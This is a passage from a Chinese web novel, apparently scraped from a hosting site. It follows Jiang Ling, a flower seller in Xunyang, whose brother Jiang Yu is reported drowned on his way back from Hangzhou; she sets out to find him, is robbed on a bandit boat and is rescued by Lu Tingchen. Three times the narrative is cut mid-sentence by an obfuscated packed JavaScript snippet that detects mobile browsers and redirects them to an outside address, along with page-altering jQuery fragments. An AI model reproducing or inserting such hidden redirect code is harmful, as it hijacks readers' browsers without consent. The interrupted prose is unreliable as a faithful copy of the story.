起初,江岺只栽一些最容易成活的月季,后来又有下梧乡移植的扶桑花,庐山的山麓下挖到的野兰花。 她把一段春色截留在院墙里,灰瓦白墙之内昂然生春意,渐渐添置的物件使得屋内添了人气,凶宅也不那么像凶宅,开始变得像一个家。 有一年清明,江岺携花到西林寺献佛,途中遇一贵夫人。 那位夫人看中了她篮子里的鹅黄月季,问她这些花价值几何。 把江岺问得一愣。 后来,是那夫人先开的价。 三两银子,将她上山拜佛的虔诚之心买断了。花没献成,反而得了一笔意外之财。从此一发不可收拾。 离了西林寺,她到花市里转悠一圈,稍一打听,便发现随便一株月季兰花的价钱,都抵得上她给江屿抄整日的书。 一时分不清是卖花的暴利,还是江屿黑心。 从花市回来以后,江岺同兄长说道:“我以后不给你抄书了。” 江屿扯着她的耳朵,怒道:“你翅膀硬了是不是?” 江岺瞪回去,道:“我以后要去卖花了。” 江屿问她道:“好端端的,怎么不读书了?家里短着你吃的还是缺了穿的?卖花能有什么前程。” 江岺道:“能更早还清欠下你的钱。” 江屿道:“你说什么?” “花市里一株兰花三十文,一盆菊花五十文……”她低下头,声音越来越小,“很快,用不了几年,能早点凑够三百两。” 江屿拧着眉,问道:“凑够了钱,然后呢?以后你就在浔阳城里卖一辈子的花?” “嗯。”江岺欣然点头道,“兴许去扬州也很好,那里花价更高。” 他嗤之以鼻道:“没出息。” 江岺不以为意,暗暗骂着他读书有出息,考中了进士还不是被贬到浔阳这片犄角旮旯地,官才八品。 凭着那么点微薄俸禄,实在难有出路。 江岺道:“你每日去点卯上值,我在巷里卖花,午时给你送去餐食,有何不好?” 江屿嗤道:“不好。” 江岺觉得稀奇,平日里这人恨不得钻进钱眼里,今天这是怎么一回事? 他一会说,整日混迹在街巷里卖花,与贩夫走卒无异;一会又说,养花极累,总受日晒雨淋。也莫说上山采花了,去了好几次下梧乡,她还是连路都记不清。要是在山里走丢了,叫谁去寻? 江岺不听也不信。 江屿很是恼怒:“等你撞了南墙,别哭着回来找我。” 然而江屿还是低估了她的耐性,宁愿受风吹日晒,也不愿吃读书的苦。 清明节后阴雨连绵,她在深巷卖起了杏花,竹箩担里花一丛,雨中花更红。 整个清早,平乐巷子里回荡着小娘子略显稚嫩的叫卖声。 江屿隔着雨幕,遥遥望了一眼,深巷里徘徊着一个的单薄矮小的身影,在旁人家门前张望。 他记得自己离家去书院求学之时,也是十三四岁的年纪。 思及此,复又垂目叹息,他赶着去点卯,不再管她。 日暮归家,她会把每日赚到的钱穿成一小吊,举到江屿面前邀功似的炫耀,等着他一句赞赏的话。 江屿从不会夸赞她半句,也从不想她去卖花,像市井小贩一样讨价还价,每日就这样过活。 她才十三岁啊,本该是官宦家的女儿,过着锦衣玉食的生活,却因种种变故沦落至此,早早忙于生计。 江屿忽然有些后悔,说起那些骗她的话了。 兴许还是怪他官职太低,贫穷孤露,没能让她过上富裕的日子。 从前尖酸刻薄的录参军事,这几日遇到同僚、街坊领居,竟也会主动问好了。 众人背地里议论纷纷,江郎君怎么就突然转了性?他住的那凶宅,真有那么邪乎? 几日七嘴八舌讨论了半日,最终得出结论:他鬼上身了。 九江地卑潮湿,三月下旬,天气渐渐炎热。 待逢着梅雨时节,花市的生意就没这么好了,江岺便不再挑花出去叫卖,只专心在家侍弄花草,或是上山寻珍奇花木。 江屿最喜欢大雨倾盆的夏日,暴雨如注,能短暂地困住她,使之安安心心坐在家里抄书。 每逢月末,江岺还是会同江屿到下梧乡去看望槿娘年迈的老母。 江岺同他说自己今日赚到了多少钱,江屿告诉她自己下月就要升职了,两人说的牛头不对马嘴,却总能聊到一块去。 日复一日,幽深的窄巷像一条狭长的溪流,在余下的岁月里慢慢流淌,平静悠长。 元和七年的雨打过浔阳江,这是江岺寓居于此的第五个年头。 她的兄长已经干到浔阳县丞了,年纪轻轻,前途无量。 至于她,依旧还是在卖花。 常常往来于平乐巷与城郊,守着十亩花田与三间茅草屋,勤勤恳恳。 江屿日日劝她:“今日不去卖花了吧?阿兄现在的俸禄足够养你了。” 江岺一把推开他,漠然道:“别挡着我买花了,你当我兄长当上瘾了吧?” 江屿倍受打击,四月的天,她说出来的话比冬月的天还要冰冷。 江屿解下她的担子,岔开话题道:“你们钱塘赵府出了件新鲜事,你听说了没有?” “什么赵府?”江岺忙撇清关系,“我没听过,也不想听。” 江屿似没听到她的话,继续说道:“前些时日,赵家要嫁女儿,算起来,应是你的二姊。两家早定下亲事,本是喜事一门,只差等着郎婿来迎亲了。谁成想扬州陆家的那小子不想娶,逃婚了。” “扬州……陆家?”江岺有些发愣,连江屿夺去的扁担也忘了抢了。 “正是扬州的陆长史,我以前还在他手底下做过官,这回赶上他第三个儿子娶亲了,啧啧啧——谁成想好竹出了歹笋。” 江屿越说越起劲,“再说那陆三郎,他在扬州名声差劲得很,整日游手好闲,斗鸡走狗。若遣人去说媒,别说是人家娘子了,狗听了都摇头。就这——他还想着逃婚?” 见江岺听完木木地站在原地,丝毫不为所动,他还不忘敲一下榆木脑袋提醒:“你以后可千万不要同这种人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15106252|163883||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打交道啊。” “知道了知道了。”江岺一摆手,敷衍回答,回过神才惊觉,“我扁担呢?又被你藏哪里去了?” 江屿道:“今日是浴佛节,城里的人都到寺里观佛去了,没几个会买花的,不妨歇一天。” 江岺道:“那我也去观佛,顺带卖花。” 江屿道:“佛祖跟前做生意,江岺你心不诚啊。” “那也比你在佛祖眼前骂寺僧好多了。”江岺一边追,一边骂,“快把我扁担交出来,耽搁我做生意,我今晚拿你开刀!” “嘶——”江屿绕柱而走,道,“只顾着同你说话,我也忘了放哪里了。” 此刻尚在院中又吵又闹,然而后脚媒人登门拜访,此刻正站在院外敲门,两人就都笑不出来了。 不知是第几回了,总有些人不照照镜子,就撺掇着媒婆上江家来说媒。 一个二十七而未娶,另一个十七了也没嫁,正是对媒人避如蛇蝎的年纪。 江岺朝江屿使了个眼色:来找你的? 江屿摇了摇头:不,是来找你的。 敲门声不止,他们一个也不敢吭声,只待杨婆子以为无人在家,自行离去。 只听杨婆子自言自语道:“奇怪,今日也不在家么?” 直到脚步声也远了,二人才松了一口气。 江岺回过头时,见江屿正打量着她,拿出了在牢狱里审犯人的架势。 “今天非要出门,是想跟谁私会?想偷偷把自己嫁出去?”他问。 “哪有啊?”江岺矢口否认,“我不是还欠着你……一百三十七两吗?” “哦——”他看似相信了,又不太信,“大润坊那个卖鱼的,每日都有卖剩下的鲫鱼送你,还有城北那个身长五尺的钱五郎也觊觎你多时了,瞧瞧你一天天认识的,都是些什么人。” 江岺疑惑不止:“你每天都跟踪我啊?” 江屿轻咳了两声,道:“下值的时候,凑巧看到的。” 江岺忽然想到些什么,怀疑的种子在心中种下了:“你该不会是自己娶不到妻,也见不到我好过吧?也是,我知道你二十七了还未成家,定会有些着急,害怕我抢在你前头。你放心好了,哪怕我真的要嫁人了,也不会忘了兄长的大恩大德。” “呸!”江屿只怒其不争,“你以为成亲是投胎啊,我这么上赶着去抢?还有那些市井摊贩,在浔阳江上泊船的商人,你也少和他们往来。上回要不是我追了出去,你早就上了他们的贼船,不知被卖到哪里去了。” “上回?” 他若不提,江岺险些忘了。 那一次在浔阳江畔卖花,她与一个茶商的女儿一见如故,聊得很是融洽。 那位娘子姓周,名南枝,要随父亲到扬州去卖茶。 江岺一听,扬州啊,是她向往了许多年的地方。 正逢周娘子相邀,江岺返回家中留了一封信,当即就要往扬州去。 熟料刚一登船,有人从人群里冲出来,大喊着:“江岺,你要跟谁私奔?” 本是没有的事,经他这么一嚷嚷,全浔阳城的人都以为她要跟旁人私奔了。 江岺万分羞赧,竟觉得江水也没那么可怕了,恨不得一头扎进浔阳江里。 最后扬州没去成,她也好几日没脸出门卖花。 那时江岺愤恨不已,不禁怒斥,若她来日嫁不出去,定然全怪江屿。 江屿道:“怕什么?再养你十年八年也不成问题。” 他那半是玩笑半是认真的语气,让江岺恨得牙痒痒。 今日浴佛节,也不知他发的什么疯,本该是最适合做生意的时节,却因他一番胡搅耽搁了。 江岺在屋内找了一圈,没寻见她的扁担,出来气鼓鼓地瞪着他。 江屿笑道:“盯我做什么?我长得像银子吗?” 江岺撂下箩筐,又气又恼:“我看你今日发的哪门子癫,卖花也要拦我!” 5. 浔阳渡(五) 晨间与江屿掰扯一遭,江岺出门晚了,未赶得及去凑前一场热闹,也没能将篮中要献给佛祖的花送出去。 街上早已是衣摆贴着衣摆,脑袋挨着脑袋,俱是前来瞻仰礼拜的百姓。 透过游人之间的缝隙,远远望见沙弥们护送佛像在街市上巡行,佛前满是信徒供奉的花果,场面盛大而热闹。 江岺使劲踮起脚往前探,又被江屿拽了回来。 江屿道:“慢着些,街上人挤人的,走丢了怎么办?” 江岺道:“这里是浔阳城,我能丢到哪里去?” 江屿道:“你别不信,去年县衙里就接了一个案子,有一户人家的孩子,就是在浴佛节被人牙子拐走了,找回来时瞎了一只眼,舌头也被割了。” 江岺听了,背后一阵寒颤,又很快回想起来,“我早不是六七岁的小孩子了。” “奇怪。”江岺自言自语道,“西林寺的寺僧也在,怎么不见怀深方丈?” 江屿道:“你找他做什么?” 江岺叹了口气,道:“上回不慎让方丈误食了肉馅的髓饼,我本想好好同他致歉,谁料他道一声‘阿弥陀佛’就跑了,从此避我如蛇蝎。” 江屿笑道:“原是为这事,我道他活该,你理他做什么?” 江岺横他一眼:“你是故意的吧?故意把我的红豆馅饼换成了猪肉髓饼?” 江屿没否认:“那又如何?” 江岺如待一个不懂事的孩子,学着他的语气苦口婆心劝道:“人家怀深师傅怎么招你惹你了?从前去西林寺上香,哪一次不是他引路?逢着下雨天,他还好心给你借伞,你怎么就——” 江屿板着脸道:“长点心吧你,不过施你点小恩小惠,就把别人当作是好人了?” 江岺冷道:“凡以小人之心度君子之腹,你一定是个佛陀都渡不了的人。” 一说他又要生气,扯着江岺就逆着人群往回走,碎碎念叨着:“别看了别看了,不过几尊泥塑木雕,有什么好看的?” 江岺暗自腹诽,就说他心不诚。 两人正一前一后往回家的路上走,江屿突然回头看她,“别只顾着偷偷骂我。” 江岺一惊,这厮他竟又知晓。 江屿又道:“过几日我要出一趟远门,到杭州去。” “杭……杭州?”江岺愣了好一阵,已经很久没听人提起这个地方了。 “你去那里做什么?”她问。 江屿道:“前些日子,有个从杭州来的布商,说他在杭州的乐坊里见过一名琴妓,旧籍正是江州的,在坊曲中弹琴卖艺,也恰恰有五年之久了。我以为,这人会是槿娘。” 江岺问道:“那商人说的话可信吗?会不会像从前那样扑了个空?” 上一回也是有个外地来的行商,说他在蜀地找到了江屿要寻的人,还“好心”让江屿与商队同路而行,一同去往蜀地。 谁也不曾料到,那些商人竟与匪盗勾结,中途劫了商队。江大人随身财物,包括攒给槿娘赎身的银两都被洗劫一空,好不可怜。 最后,江州浔阳的县丞跑去洪州报案,将自家的脸都丢尽了。 还有好几次扑了个空,没见到他相见之人。 江屿道:“我也正有此顾虑,所以这次我亲自到杭州去探一探。” 天大地大,寻一个改了名姓的人,有如大海捞针。 到底是欠下了多大的恩情,才值得他拿出这么大的诚意,这一寻就是五年。 江岺问过。 他说,不过是当初路过浔阳时,乡下那位娘子随手施予的一水一饭之恩。 江岺有些惊讶:“不过如此?” 江屿道:“确是如此。但饥渴之时与温饱之际的水饭,其份量是远远不同的。” 江岺深以为然,不知她所欠下的救命之恩,又该怎么去衡量。 他每日除了到官署上值,就是盯着江岺每日与何人接触,其余的闲暇,便是去寻他那位恩人的消息。 闲时他也常去码头,与一些商人打交道。 地方千里,江涵九派。浔阳本是长江沿岸著名的商港,泊船于此的士人、商贩来自四面八方。 他总希望从这些人口中听到些消息,但是大多都没有了回音与后续。 江岺隐隐能猜到,或许这么些年来他迟迟不娶妻,也与槿娘有关。 月末休沐,江屿依旧会去下梧乡,有时带上江岺,有时独自一人,去看望槿娘的母亲。 当年那个卖女儿还赌债的混账,后来又欠下一大笔债,东躲西藏,最后还是被债主寻到,打死在街巷里。 连个替他收尸下葬的后人都没有。 那一日,还是江屿派人去将他的尸身抬出去,卷了一张破席子,草草埋在下梧乡。 时隔数月,又有了消息,不论那个杭州商人所言是真是假,江屿都要亲自去看一看的。 回了家中,他就清点起家资来,也不知短时间内能不能给恩人凑够赎身的银两。 或许这些钱里,还掺着江岺还给他的“债”。拾掇到半夜,他数了一晚上的钱,也叹了一晚上的气。 仅凭县丞那点微薄的俸禄,他不贪脏、不受贿,莫说是五年了,怕是十年也凑不够。 翌日,江屿向县衙里告了半月的假,换了身朴素的白衫,只拣了轻便的行李,便将出门去了。 他又要独自出远门了,江岺总归还是觉得不放心。 一路送他到渡口乘船,江岺下定决心道:“阿兄,要不这回我同你一起去吧。” 江屿道:“不用。杭州那般远,你又不喜乘船,到时我还得分出些精力看顾你。再者……钱塘这地方,你不是自小就不喜欢吗?还回去做什么?” 江岺没再多说什么。 江屿登船前,往她手里塞了个荷包,沉甸甸的,里面装着一些零钱,拢共十两银子。 “拿着。” 江岺忙推了回去,“给我做什么?你又不要我随你出门去,我一个人在家里用不着这么多银子。” 江屿把钱袋塞回她手里,说道:“我怕你饿瘦了自己,届时被街坊的婶子说你瘦得跟猴一样,半点也不好看。若是夏日里贪凉生了病,抓药也须得耗不少钱。” “哦。” 江岺收下荷包,实在想不出什么应答的话来。明明是关心人的话,总被他说的那般难听。 江屿又道:“我不过半月就回来了,你留在家中,照顾好自己。莫要被媒婆三言两语蛊惑,莫要与不三不四的人出游,莫要忘了抄书,等我归家了要看你读书长进了没有。” 他絮絮叨叨,她敷衍回答:“知道了知道了。” 来来回回都是这么几句唠叨,江岺早听倦了。 江屿道:“我这一字一句都是为了你好,可别嫌我啰嗦。” 江岺道:“我哪里敢嫌你啊。” 船夫支起桨来,高声呼着岸上的船客,又在催发了。 江屿本该登船,却突然旋踵,回过身来,轻轻摸了摸江岺的脑袋。 她幼时常年挨饿,长得不高,又吃了许多年的饭,而今才将将够到兄长的肩膀。 似乎在他眼里,眼前人还似记忆里那瘦弱矮小的模样。 他笑了笑,道:“这一去十几日,算一算日子,刚好来得及赶回来给你过生辰。” 江岺拍开他的手,往后退了半步,说道:“那……那你路上保重,要早些回来。” 小舟遥遥而轻飏,渐行渐隐在浔阳江畔的荻花丛中。 这些天耳边无人唠叨,江岺只一心一意卖花。 往来于闹市与深巷,雨后背上背篓,到庐山南麓去觅珍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15106253|163883||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奇花木,日子便一天天从脚底溜过了。 估摸着时日,已经过了一旬,想着他兴许会早归,江岺走街串巷卖完了花,也会到渡口去等他。 然而说好的半个月,近了她的生辰,浔阳江畔却迟迟不见他的人影。 每逢日暮,迎来了江畔停靠的最后一艘渡船,江岺满怀失落归家。 想着,兴许他只是在途中耽搁了一时半刻,定会赶在她生辰当日到家,悄无声息出现在回廊下,给她一个吓掉半条命的惊喜。 江岺一笔一笔划掉黄历上的日子,直到她生辰这一天。 她难得起了个大早,不侍花弄草,也没挑着担子到街上叫卖,只专程坐在院子里等。 平乐巷口那棵大榕树上,充斥着聒噪不息的虫鸣,江岺听了一上午的蝉鸣,与街坊里的阿黄一样,在午后困得恹恹欲睡。 等到日上中天后,竹竿影子斜,院门口才响起迟来的敲门声。 “你怎么才回来啊……” 江岺揣着满腹怨气前去开门,见了来人,话音又戛然而止。 门外人并非她兄长,是前来给她说媒的杨婆子。 “江娘子,上回我给你说的亲事——” “兄长不在,这些事我拿不了主意,您还是回去吧。” 江岺随口诌了个理由搪塞,反手关上了院门。 后来,平乐巷的江宅一整日都没有响起敲门声。 岑寂的黑驱走了最后一丝暮色,前院点起一支孤伶伶的灯烛,桌上摆着一碗热过许多遍的汤面。 到最后,她一个人坐在空荡荡的宅子里,吃完一碗坨了的长寿面,放多了盐巴,还混着泪水,难吃极了。 她一边吃一边想,这人真不守信用啊。 白教她等了这么久。 可是接连又过去几日,水仙花谢了,墙角下绽满了扶桑花。 县衙里的人也找上门来了,问她可知晓江大人的去向,案头的公务已经堆积如山了,又问江屿何时回来处理。 江岺只得如实告知:“家兄去杭州了,尚未归家,也许也快回来了。” 她提着个篮子从深巷走到江畔,晃悠了一天才踏着暮色归家,篮子里空空如也,无一朵花。 集市里卖鱼的赵东楼也在问她:“江娘子,今日还在等你的兄长吗?” 江岺道:“是啊,也不知道他什么时候才回来。” 赵东楼又从摊下提了几尾鲫鱼出来,齐齐整整码在案上。 他道:“今日还剩下几条鱼,你看要不要拿回去——” 江岺这回推辞了:“多谢你,只是以后不必再给我送鱼了,这鲫鱼本是我兄长爱吃的。” 现下,饭桌上已无人馋一碗鲫鱼豆腐汤了。 邻近月末那几天,她索性也不再卖花了。摸到江屿临行前给她的十余两银子,到集市里买了些油盐和米粮,代兄长到下梧乡去看看那痴呆的老妇人。 看着黄历上密密麻麻的划痕,江岺再也不愿去细数江屿离家的日子。 她守在江畔苦盼整整一月,等不到兄长的消息。 他踏上了去往杭州的客船,至此杳无音信。 直至某个闷热的午后,她闲在家中小憩,一个异乡人找上门来,怀中揣着江屿的包裹。 那人问:“你是江郎君的妹妹吧?” “我是。”江岺道,“你又是何人?” 那人道:“江郎君去杭州那时,我与他乘的同一条船,你可还记得?” 江岺摇摇头,道:“不记得。” 那日船上有哪些人,她一概不曾注意,更别说已过了这么久,半分印象也无。 异乡人又道:“他回浔阳那日下了雨,本要泊往宣州的船翻了,几个船客都落了水,我与船夫在江边找了数日,没寻到他人,只寻回了这个包裹。” 6. 钱塘潮(一) 江岺试想过所有他迟迟不归的理由,甚至猜测他是不是在杭州就与槿娘私奔去了,还是又触怒了哪个权贵,因交不起过路钱被拦下了…… 彼时,她还想着,待他回来了,定要晚些去给他敲门,叫他在门外多等一些时刻才好。 她独独不敢做最坏的打算。 宁愿是最初的杳无音信,也不愿听闻那些坏消息自钱塘传回浔阳。 “江娘子?”那人唤她。 江岺问:“我阿兄他……是在哪里落水的?” 那人回道:“刚出了杭州不远,还没离开钱塘江呢。也怪那日天气不好,他又急着回来,非得坐那一趟船。” 江岺道:“我知道了,谢谢你啊。” 她仰头试图扯出一个笑,嘴角还是不自觉耷拉下去,如何都笑不出来。 从那人手中接过包裹,江岺道过谢便请人离开了。 合上门才发觉竟忘了留人吃饭,毕竟跑了这么远一趟,只为给她送些东西。若江屿在此,该叱责她不懂礼数了。 甫一抬眼,怎么觉得檐下里院门那么远,远到她不愿抬脚,背靠着门板就坐下来。 江岺竟觉得有些好笑,这人真惨,好似灾病与厄运从未间断。 怎么他每一次出远门,都没能好端端地回来? 不是被人抢了钱,就是被关了好几日,抑或是受了一顿毒打,一瘸一拐地回来。 他还说幼时有位道长给他批过命,说他能活到九十岁。 怎会如此呢? 都怪他走得匆忙,一想到困在囹圄里的恩人,便连黄历也忘了翻了。 这一次,竟是把性命也给丢了。 早知如此,应当让他在佛祖面前积点口德。 早料到他会出事,当初就应该坚定一些,与他一同到杭州去的。 江岺一面在心中暗骂,一面盘算着钱塘天远地远,舟马迢迢,她该怎么去寻到那一片落水的地,又如何去给他收尸? 后来仰头望着偌大屋宇,又想着如何宽慰自己。 欠他的银钱没还清,还差一百三十两。 没人会问她还债了,从此她一身轻松,不必每日早起去卖花,无需日出而作日落而息,这算不算好事一件? 可她无需这些侥幸,聊以慰藉而今的颓唐。 江岺抱着江屿的包裹在门后坐了一整日。 听着门外豆腐叔叔的叫卖,对门婶子唤幺儿归家的催促,阿黄遇见生人的狂吠…… 天黑了,她才施施然起身往屋里走。 平乐巷的江府没有炊烟,今夜无人生灶火。 江岺收拣了包裹里的那些物件,不过两身麻布曲领袍,几封浸了水的家书,夹杂了泥沙与水草,一枚铜板也不剩,直让人纠结他是不是被杀人越货了。 这么些年来,江岺头一回走进江屿的房间,是在他的噩耗传来之后。 房中不过一张古朴书案,案前一把手编的竹椅,往里走,是一张陈旧的卧榻,连麻帐的褶皱都理得一丝不苟。 书案上落了些灰,镇纸下压着几封信件。 他从不用熏香,方寸间只有淡淡的松墨味,墨香也随屋主人的远涉而渐渐淡了。 浔阳城外的十亩花田,应该长了不少杂草,她许久没去看。下梧乡的老妪,是否还坐在门前苦待她的女儿,江岺也不知。一月未尝去过西林寺,寺里的怀深师傅见了她可还会躲?她应该多要一条祈福带,给出远门的兄长也祈一祈顺遂的。 五月天炎热不堪,墙角的花被晒得蔫巴,枝叶垂垂。主人无心打理,长久未浇水施肥。枝头的花蕾吹落到泥地里,再没有经由她手,绽放于娘子鬓边的机会。 一连颓丧了好几日,江岺才猛然惊觉: 那人只说他落水了,人没寻回来。 兴许他还好好活着呢? 旁人说的话不可尽信,她须得亲自去一趟杭州,去把兄长寻回来。 江岺本不想踏足那片土地,可江屿说过,天地之大,他也是独身一人。 她不去的话,还有谁会去呢? 变卖了厅堂里摆的几盆兰花,田地里尚未长成的花木尽数转卖给花农,给家里的每一间屋子都上了锁,只揣着二十两银子,江岺踏上了北往寻兄长的路。 刚到渡口,便见两个船夫为了抢客而压价。 年长的船夫道:“小娘子要去哪儿?可是要渡江?只需四十文。” 年轻船夫道:“坐我的船吧,三十文就够了。” 老船夫眉毛一竖:“诶?我在这摇了二十年的船了,你懂不懂规矩?” 江岺道:“我去宣州。” 待到了宣州,还得从陆路再转水路,一路舟车奔忙。 老船夫摸了摸下巴上的胡茬,盘算着:“宣州地远,一来一回也得一个昼夜,没个五百文,去不成。” 年轻船夫忙招呼着她:“小娘子,来坐我的船,三百文保准把您送到。” “啧!”老船夫气得吹鼻子瞪眼,“只三百文,老叟瞧你挣个毛的钱!” 江岺毫不犹豫选择了后者,犹豫半刻都是对铜板的不尊重。 船夫又等了几个船客,便摇橹开船,小舟晃晃悠悠离了浔阳江岸。 一如来时,江岺只躲在船舱,绝不往江上张望。 若是近乡情怯也说不通,江岺打心底没把杭州当作是故乡。 她已有五年不见钱塘江,惧水也已有十年了。 一路颠簸,晃得她脑袋昏昏沉沉,尚不知离宣州还有多远,有个船客与船夫突然在舱外吵了起来。 “这哪里是去宣州的路?是不是走错地了?” “郎君莫急,正是去宣州的,错不了。” “我每年都往宣州去,由不得你糊弄!靠岸,我要下船!” “这儿可没有泊船的地方。” “我呸,那你这就是艘贼船!” “坐回去,老实点!不然老子丢你下河喂鱼!” 先前还在据理力争的船客,立即连滚带爬地摸回了船舱里,船头已传来了霍霍磨刀声。 江岺心下一沉,怎就这么倒霉,为了省那二百文,反倒上了贼船? 出了浔阳,外头的地痞流氓太多,难怪江屿总是被剥了一层皮回来。 眼下天将黑了,若是要跑,又跑得到哪里去? 客船停在江心不动了,船夫掀了草帘进到船舱里一把刀架在了那船客脖子上,厉声威胁:“先前不是挺能耐,现在怎么不叫嚣了?” 船客即刻解下身上的包袱丢出舱外,哆哆嗦嗦道:“小人身上的钱尽管拿去,别……别……别害我性命!” “哼,算你识相。”船夫冷哼一声,刚要转头去捡,只听身后“扑通”一声,那船客竟是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15106254|163883||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毫不犹豫地跳下了船。 江岺看得目瞪口呆,她岂能有这个胆子? 待船夫搜刮了旁人,转头看向角落里的她时,她既识相又窝囊地交出了身上所有的银子。 她问:“我只有这些钱了,能不能靠岸,放我下去……” 船夫提刀指着她,“身上还有什么值钱的物什,都交出来!” 江岺连忙摇头,道:“没有了,真的没有了。” 他身后的人提醒道:“簪子,她头上的簪子。” 江岺道:“这个不值钱的。” 强盗自是不与她客气,嚷道:“少废话,拿来!” “这个不能给你们。”江岺捂着簪子往后退,再往后半步,就是汹涌的江浪。 寒意自下而上袭来,直教人脊骨发凉。 船夫拎着刀走进了,江岺既不敢面对身后惊涛骇浪,也不敢直视那一点寒芒。 她承认自己实在懦弱,管它什么念想,还是小命要紧。 刚解下那支陪伴自己多年的珠钗,想跪地求饶,却又听船舱里的人抱怨:“什么穷酸玩意儿?没个值钱的东西,本以为能干票大的。何四,你悠着点,别把人弄死了,我看就那小娘们能卖几个钱。” 江岺暗自咬牙,真是该死啊,她出门明明翻了黄历,还到西林寺烧过香,分明是上上签。 船夫道:“你忘了大人交代的事,哪轮得到我们做主?” 大人?哪位大人? 她寓居浔阳五年,全然不记得自己得罪过哪个大人物。 船夫一步步逼近,船身也在江风中摇摇晃晃。 她握紧了那枚珠钗,后退半步跌入了骇人的江水之中。 船夫往江里啐了一口唾沫,骂道:“拎不清的东西,同她的破烂玩意一并见鬼去吧。” 哗啦的水声充斥着耳畔,至于船上人说了什么,她再听不清了。 江州水暖,竟不比昔年钱塘江水寒凉。 江水灌入鼻腔,旧忆化作泡沫消逝,她胡乱地幻想: 惟愿江水蜿蜒归浔阳,使她不做异乡鬼。 想来是阴曹地府嘈杂,脚步声来来去去,那些个没投胎的鬼你一言我一语争辩。 混乱的人声中,耳畔有人喊娘子。 而后,那些碎语渐渐拼凑成完整的字句。 “孟年,你快来看看,你觉不觉着她像一个人?” 那名唤孟年的侍从凑过来细看,“我瞧瞧,好像是有些像……” 另一个郎君拍着船舷站起身来,愤愤道:“我就说她像赵家那个悍妇,真是晦气啊,早知道不救她了……孟年,你说我要是现在把她丢回水里……” 孟年忙阻在他身前:“郎君不可啊!” 那小郎君嗤笑道:“瞧你着急的样,说笑罢了,我怎么可能做害人的勾搭?” 江岺觉得这人的声音耳熟,语气也莫名熟悉。 “咳咳咳——”吐净了胸中的江水,她迷迷糊糊地唤了声,“阿兄……” “醒了?” 那位小郎君毫不怜惜地往她脸上招呼了两巴掌。 什么人啊这是,存心不想让她活了? 江岺觉得,自己还是彻底昏死过去为妙。 可这人的声音在耳边,如蝇嗡嗡。 “睁开眼睛看看。” “这儿可没有你兄长。” 7. 钱塘潮(二) 远在天际的星河荧荧,又晃晃悠悠,她还在舟中,不过是另一艘游船。 舟上还有歌女抚着琵琶,咿咿呀呀地弹唱。 江岺撩开黏在脸上的湿发,视线当中亮起一盏灯笼,绛纱后探出两颗脑袋,正打量着她。 一个红衣郎君,容长脸儿;另一白袍小童,面容青稚。两人都是未冠之年。 对上江岺的视线,两个小郎君又尴尬地别过脸去,低声私语。 “孟年,其实她……她……她长得……” 孟年面上一喜:“郎君,你终于记起来了?” 那红衣郎君掩口轻咳一声,道:“她长得还挺好看的。” 孟年:“……” 他摇头晃脑叹着气,转而将灯笼在船篷上高高挂起,照一照自家瞎了眼,又失了智的郎君。 郎君靠过来,自以为很小声地议论:“她怎么不说话,是不是脑子里的水还没倒干净?” 江岺慢腾腾支起身来,摸到身上盖着的天青色披袄,见有一人衣裳半干,于是朝他拱手道礼:“小女子姓江,家住浔阳。多谢郎君救命之恩,敢问二位尊姓大名?” 那个名唤孟年的小童未答话,反倒是红衣郎君一手把人撇开,自己走上前来,笑问道:“是我叫他去救的你,你怎么只谢他,不谢我?” “啊?”江岺被问得发懵,从未见过如此无礼邀功之人。 真是打着灯笼都难找。 此人无视了她的窘迫,眼巴巴凑到面前来,自报家门道:“小生敝姓陆,家住扬州,族中行三,今年一十九岁,娘子可唤我一声陆三郎。” “陆亭尘?”江岺有些诧异,不觉喃喃道出了他的名讳。 说来也巧,她幼时也有位青梅竹马的玩伴,姓陆,家中行三,父亲是因仕宦移居扬州的。 “你竟也识得我啊。”他面上吃惊,随即转头与身旁书童笑言,“只知我在扬州鼎鼎大名,不想在浔阳那等偏僻之地,一个乡野丫头也有所耳闻。” 江岺低头揉了揉眼睛,果然是在水里泡久了,眼睛都进了泥沙。 十载未相见,再重逢时,他果然已认不出来了。 更别说当年在钱塘江上遥遥一瞥,那少年赶赴的是童年旧友的葬礼。 这要她如何去解释? 其实你昔年的朋友没死,她只是瞒过了赵府的所有人,也包括你。 而今重逢,也并非萍水相逢,而是冤家路窄。 真要这么说,按眼前人的脾性,会不会一气之下掐死她? 待及他再度转头看向她,江岺仰头改换了一副笑颜:“多谢陆郎君,来日若有机会,定当涌泉相报。” 陆亭尘道:“别说来日了,眼下正有个给你报恩的机会,要不今日就将这恩情还了?” 江岺愣住:“什……什么?” 